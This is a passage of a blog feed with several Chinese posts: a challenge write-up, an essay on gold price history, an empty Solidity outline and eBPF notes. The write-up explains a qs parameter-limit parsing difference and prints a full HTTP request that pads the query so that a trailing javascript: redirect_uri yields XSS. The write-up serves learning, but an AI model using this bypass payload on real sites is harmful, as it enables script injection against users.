`</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">listen</span>(<span class="number">3000</span>, <span class="function">() =&gt;</span> <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;Listening on port 3000&#x27;</span>));</span><br></pre></td></tr></table></figure><p>从代码层面上看很容易知道我们需要的漏洞点，无非就两个，一个任意链接跳转，一个就是任意连接+伪协议引发的XSS漏洞，但是代码中明显限制了一个条件，如果跳转地址不等于 <code>https://pwnbox.xyz/docs</code>  那就会失效，并且我们注意到浏览器是用 <code>new URLSearchParams(window.location.search).get(&quot;redirect_uri&quot;);</code> 来进行渲染的，我们查一下这个函数的API，会发现<code>get()</code>方法会返回与参数关联的第一个值，也就是说如果同一个键出现多次，他都只会返回第一个值</p><blockquote><p><a href="https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams/get">https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams/get</a></p></blockquote><p><img src="https://bfs.iloli.moe/blog/20260415192614849.png" alt="image-20260415192614429"></p><p><img src="https://bfs.iloli.moe/blog/20260415192638172.png" alt="image-20260415192638067"></p><p>这时候肯定就要想办法绕过了，qs 存在一个特性，例如我们发送 <code>foo[x]=bar</code> 则会被解析成一个对象，也就是 <code>q.query.foo = &#123; x: &#39;bar&#39; &#125;;</code>，</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  foo<span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    x<span class="punctuation">:</span> &#x27;bar&#x27;</span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>如果熟悉原型污染的话，应该对上面很熟悉，我们阅读 qs 的文档发现官方留了这么一句话，有这么一个参数 <code>arrayLimit</code>，默认值为 1000</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">For similar reasons, by default qs will only parse up to 1000 parameters. This can be overridden by passing a parameterLimit option:</span><br></pre></td></tr></table></figure><p>所以可以利用这个特性来做一个绕过</p><blockquote><p><a href="https://www.npmjs.com/package/qs">https://www.npmjs.com/package/qs</a></p></blockquote><p>当我们发送一个超长数组超过索引限制后，qs 就会将其解析成对象，然后浏览器端的 <code>URLSearchParams</code> 他不会识别 <code>[]</code> 语法，所以也就不存在 <code>arrayList</code>，对于浏览器来说 URL 结尾处的 <code>&amp;redirect_uri=javascript:alert(&#39;1&#39;)</code> 是一个名为 <code>redirect_uri</code> 的 key，当执行 <code>new URLSearchParams(window.location.search).get(&quot;redirect_uri&quot;)</code> 时，浏览器会忽略前面的乱七八糟的参数，直接精准命中了末尾的 <code>javascript:alert(&#39;1&#39;)</code>，所以最后的 payload</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/?%5Bredirect_uri%5D=https://pwnbox.xyz/docs&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;a=1&amp;redirect_uri=javascript:alert(&#x27;1&#x27;)</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>nmsl.cnm:3000</span><br></pre></td></tr></table></figure><p>最后</p><p><img src="https://bfs.iloli.moe/blog/20260415193450402.png" alt="image-20260415193450182"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;几个月前老外发的挑战，我也不想起英文标题啊😭，但是中文标题SEO不好做啊&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;挑战源代码如下，需要的自取&lt;/p&gt;
&lt;figure class=&quot;highlight js&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span</summary>
      
    
    
    
    <category term="Research" scheme="https://iloli.moe/categories/Research/"/>
    
    
    <category term="Bug-Bounty" scheme="https://iloli.moe/tags/Bug-Bounty/"/>
    
  </entry>
  
  <entry>
    <title>简单复盘黄金跨越半世纪的涨跌事件</title>
    <link href="https://iloli.moe/2026/04/15/essay/%E7%AE%80%E5%8D%95%E5%A4%8D%E7%9B%98%E9%BB%84%E9%87%91%E8%B7%A8%E8%B6%8A%E5%8D%8A%E4%B8%96%E7%BA%AA%E7%9A%84%E6%B6%A8%E8%B7%8C%E4%BA%8B%E4%BB%B6/"/>
    <id>https://iloli.moe/2026/04/15/essay/%E7%AE%80%E5%8D%95%E5%A4%8D%E7%9B%98%E9%BB%84%E9%87%91%E8%B7%A8%E8%B6%8A%E5%8D%8A%E4%B8%96%E7%BA%AA%E7%9A%84%E6%B6%A8%E8%B7%8C%E4%BA%8B%E4%BB%B6/</id>
    <published>2026-04-15T10:24:05.000Z</published>
    <updated>2026-05-07T04:50:46.611Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>写着玩的，不要当真</p></blockquote><p>截止（2026年04月15日 18时24分09秒）</p><p>国际金价为</p><p><img src="https://bfs.iloli.moe/blog/20260415182433035.png" alt="image-20260415182432781"></p><p>上海交易所金价为</p><p><img src="https://bfs.iloli.moe/blog/20260415182450918.png" alt="image-20260415182450767"></p><p>开始之前，我们先来回顾一下黄金每次涨跌都发生了什么事件，黄金的走向离不开四个关键词</p><p><strong>战争、通胀、危机、货币体系</strong></p><h2 id="国际金价-35-美金"><a href="#国际金价-35-美金" class="headerlink" title="国际金价 35 美金"></a>国际金价 35 美金</h2><p>简单拆解一下，会现在1970年，国际金价为 <code>$35</code> ，接着往后发生了什么事件呢？ 布雷顿森林体系瓦解（1971年） + 两次石油危机，当然还有当时的美国总统尼克松宣布美元与黄金脱钩，叠加中东局势混乱导致的全球大通胀，于是国际金价在 1980 年飙升至 <code>$850</code> 的天点</p><p><img src="https://bfs.iloli.moe/blog/20260415182940901.jpg" alt="img"></p><h2 id="平稳-20-年"><a href="#平稳-20-年" class="headerlink" title="平稳 20 年"></a>平稳 20 年</h2><p>主要是 1980 年到 2000 年，这几年金价比较平稳，甚至走向了低位，主要事件有 美联储铁腕加息 + 苏联解体 + 互联网泡沫，沃尔克通过极高的利率强行压制了通胀，美元重拾威信，这二十年里，世界相对和平，经济高速增长，大家觉得“拿金子不如买股票”，这也提出了一个逻辑盛世买股票，乱世买黄金，这一时期是黄金最落魄的岁月</p><p><img src="https://bfs.iloli.moe/blog/20260415183205359.png" alt="image-20260415183205160"></p><h2 id="暴涨-3-年"><a href="#暴涨-3-年" class="headerlink" title="暴涨 3 年"></a>暴涨 3 年</h2><p>主要集中在 2008 年至 2011 年，这期间因为次贷危机和量化宽松（QE），以及雷曼兄弟倒闭，全球金融体系几近崩盘，为了救市，各国央行开始疯狂印钱（QE政策），金价从 2008 年的 <code>$700</code> 左右一路狂奔到 2011 年的 <code>$1900</code>。</p><p><img src="https://bfs.iloli.moe/blog/20260415183332045.jpg" alt="img"></p><p><img src="https://bfs.iloli.moe/blog/20260415183336569.jpg" alt="img"></p><h2 id="暴跌-2-年"><a href="#暴跌-2-年" class="headerlink" title="暴跌 2 年"></a>暴跌 2 年</h2><p>事件主要集中在 2013 年至 2015 年，这里的核心事件是美联储宣布缩减 QE + 全球经济复苏，如果你早些年网上冲浪的话，应该会记得 2013 年中国大妈疯狂抢金，当时金价单日暴跌，主要因为市场预期美国要加息了，资金撤离金市回流美元，但是<strong>加息是黄金的天敌</strong>，因为黄金不生利息，当存款利息变高时，持金成本就变大了</p><p><img src="https://bfs.iloli.moe/blog/20260415183625761.png" alt="image-20260415183625586"></p><h2 id="极端之年"><a href="#极端之年" class="headerlink" title="极端之年"></a>极端之年</h2><p>别急，感觉以后还会有更极端的，这几年想必大家都知道了，就是 2020～2026 年，主要的事件有COVID-19 疫情 + 俄乌冲突 + 全球去美元化 + 地缘政治，具体在 2020 年发生了什么，大家都知道，全球停摆，美国无限量供应流动性，金价首次破 <code>$2000</code>，2022-2023年，尽管美联储疯狂加息，但地缘政治风险和各国央行（尤其是中东和亚洲）以前所未有的速度囤积黄金，导致金价完全不听加息的劝阻，黄金不再只是投资，而是各国防止被金融制裁的盾牌，再往后 2023 年到 2026 年，各种银行业危机、中东局势突变、央行狂买、美联储降息、大选、SGE溢价、关税与贸易站、信用对冲、金价 <code>$5000</code>、2026年1月30日黑色星期五等等事件，由此可以引出下文</p><p><img src="https://bfs.iloli.moe/blog/20260415184202897.png" alt="image-20260415184202783"></p><h2 id="黄金为什么会这么猛"><a href="#黄金为什么会这么猛" class="headerlink" title="黄金为什么会这么猛"></a>黄金为什么会这么猛</h2><p>纵观整个历史，我们可以通过复盘发现，黄金有一个三合一的公式</p><ol><li>极高的通胀（钱不值钱了）</li><li>剧烈的动荡（打仗打的根本停不下来，或者大国之间互撕）</li><li>极低的实际利用率</li></ol><p>由此可见，我们追求的不是衡量黄金变贵了多少，二是衡量信用货币萎缩了多少，现在看来，历史不会简单重复，你也不可能通过所谓的神机妙算算出黄金的走势，下一次暴跌或者暴涨通常发生在全球达成新的和平契约或者某种新技术革命让经济再次爆炸增长的时候，现在看来，这两者似乎都还走在路上，也有可能已经开始了</p><p><del>理性投资，本文仅作交流参考</del></p>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;写着玩的，不要当真&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;截止（2026年04月15日 18时24分09秒）&lt;/p&gt;
&lt;p&gt;国际金价为&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bfs.iloli.moe/blog/2026041518</summary>
      
    
    
    
    <category term="Essay" scheme="https://iloli.moe/categories/Essay/"/>
    
    
    <category term="Essay" scheme="https://iloli.moe/tags/Essay/"/>
    
  </entry>
  
  <entry>
    <title>Learning the Underlying Principles of Solidity</title>
    <link href="https://iloli.moe/2026/03/29/learning-the-underlying-principles-of-solidity/"/>
    <id>https://iloli.moe/2026/03/29/learning-the-underlying-principles-of-solidity/</id>
    <published>2026-03-29T17:31:32.000Z</published>
    <updated>2026-05-07T04:50:46.611Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Storage-Layout"><a href="#Storage-Layout" class="headerlink" title="Storage Layout"></a>Storage Layout</h2><h2 id="Calling-Mechanism"><a href="#Calling-Mechanism" class="headerlink" title="Calling Mechanism"></a>Calling Mechanism</h2><h2 id="Function-Selector"><a href="#Function-Selector" class="headerlink" title="Function Selector"></a>Function Selector</h2><h2 id="Memory-Stack"><a href="#Memory-Stack" class="headerlink" title="Memory &amp; Stack"></a>Memory &amp; Stack</h2><h2 id="ABI-Encoding-Decoding"><a href="#ABI-Encoding-Decoding" class="headerlink" title="ABI Encoding &amp; Decoding"></a>ABI Encoding &amp; Decoding</h2><h2 id="Lifecycle-Deployment"><a href="#Lifecycle-Deployment" class="headerlink" title="Lifecycle &amp; Deployment"></a>Lifecycle &amp; Deployment</h2><h2 id="Gas-Dos"><a href="#Gas-Dos" class="headerlink" title="Gas &amp; Dos"></a>Gas &amp; Dos</h2>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;Storage-Layout&quot;&gt;&lt;a href=&quot;#Storage-Layout&quot; class=&quot;headerlink&quot; title=&quot;Storage Layout&quot;&gt;&lt;/a&gt;Storage Layout&lt;/h2&gt;&lt;h2 id=&quot;Calling-Mechanism</summary>
      
    
    
    
    <category term="Web3" scheme="https://iloli.moe/categories/Web3/"/>
    
    
    <category term="Web3" scheme="https://iloli.moe/tags/Web3/"/>
    
  </entry>
  
  <entry>
    <title>Deconstructing eBPF Verifier Principles and High-Performance Security Detection Engine Implementation</title>
    <link href="https://iloli.moe/2026/03/26/deconstructing-ebpf-verifier-principles-and-high-performance-security-detection-engine-implementation/"/>
    <id>https://iloli.moe/2026/03/26/deconstructing-ebpf-verifier-principles-and-high-performance-security-detection-engine-implementation/</id>
    <published>2026-03-26T19:51:03.000Z</published>
    <updated>2026-05-07T04:50:46.611Z</updated>
    
    <content type="html"><![CDATA[<p>学 k8s 离不开 Calico，学 calico 离不开 eBPF，简单学习一下，记一下笔记</p><h2 id="什么是-eBPF"><a href="#什么是-eBPF" class="headerlink" title="什么是 eBPF"></a>什么是 eBPF</h2><p>eBPF（extened Berkeley Packet Filter）是一项革命性的技术，起源于 Linux 内核，它可以在特权上下文中（如操作系统内核）运行沙盒程序</p><blockquote><p>简单来说就是可以通过在操作系统内核中执行沙盒程序，在不改变内核源码或加载内核模块的前提下安全便携的扩展内核能力</p></blockquote><p>从历史上看，由于内核具有监督和控制整个系统的特权，操作系统一直是实现可观测性、安全性和网络功能的理想场所。同时，由于操作系统内核的核心地位和对稳定性和安全性的高要求，操作系统内核很难快速迭代发展。因此在传统意义上，与在操作系统本身之外实现的功能相比，操作系统级别的创新速度要慢一些。</p><h2 id="整体架构"><a href="#整体架构" class="headerlink" title="整体架构"></a>整体架构</h2><h3 id="用户态"><a href="#用户态" class="headerlink" title="用户态"></a>用户态</h3><p><strong>程序编写</strong>：开发者使用 <strong>eBPF 汇编</strong>或<strong>受限 C 语言</strong>编写内核逻辑。由于内核环境的特殊性，编写时需遵循 eBPF 特有的辅助函数（Helpers）和语法约束。</p><p><strong>字节码编译</strong>：借助 <strong>LLVM&#x2F;Clang</strong> 编译器前端及 eBPF 后端，将源代码编译为体系结构无关的 <strong>eBPF 字节码（Bytecode）</strong>，确保程序具备跨内核版本的兼容性。</p><p><strong>内核加载</strong>：通过调用 <strong><code>bpf()</code> 系统调用</strong>，将生成的字节码注入内核。在正式运行前，内核验证器（Verifier）会对指令进行静态分析，确保其安全且不会导致系统崩溃。</p><h3 id="内核态"><a href="#内核态" class="headerlink" title="内核态"></a>内核态</h3><p><strong>安全验证 (Verifier)</strong>：内核验证器对注入的字节码进行严格的<strong>静态分析</strong>。它会检查代码是否存在死循环、非法内存访问或堆栈溢出，确保内核的绝对安全。</p><p><strong>即时编译 (JIT Compiler)</strong>：通过验证后，JIT 编译器将通用字节码翻译成当前 CPU 架构（如 x86, ARM）的<strong>原生机器码</strong>，以实现近乎原生的运行性能。</p><p><strong>挂载与触发 (Hooks)</strong>：程序被附加到特定的<strong>内核事件</strong>（如网络包到达、系统调用、kprobes 等）。当事件触发时，eBPF 程序立即执行。</p><p><strong>状态共享 (Maps)</strong>：程序在执行过程中，通过 <strong>eBPF Maps</strong> 将处理结果（如统计数据、监控日志）传回用户态，实现两个层级的数据闭环。</p><h2 id="手搓一个-eBPF"><a href="#手搓一个-eBPF" class="headerlink" title="手搓一个 eBPF"></a>手搓一个 eBPF</h2><p>纯手写 <code>bpf()</code> 太几把费劲了，这里看阿里的简单教程理解一下，安装环境</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt install -y bpftrace</span><br></pre></td></tr></table></figure><p>用下面这行指令来实时监控系统里面谁在执行 <code>openat</code> 系统调用（即谁在打开文件）</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> bpftrace -e <span class="string">&#x27;tracepoint:syscalls:sys_enter_openat &#123; printf(&quot;%s (PID %d) is opening a file\n&quot;, comm, pid); &#125;&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="https://bfs.iloli.moe/blog/20260328004030655.png" alt="image-20260328004024956"></p><p>我们在新的终端页输入命令上面这个监控就会实时弹出，BCC 允许我们自己用 C 来编写内核逻辑，用 Python 来写用户态逻辑，先安装 BCC</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt install -y bpfcc-tools 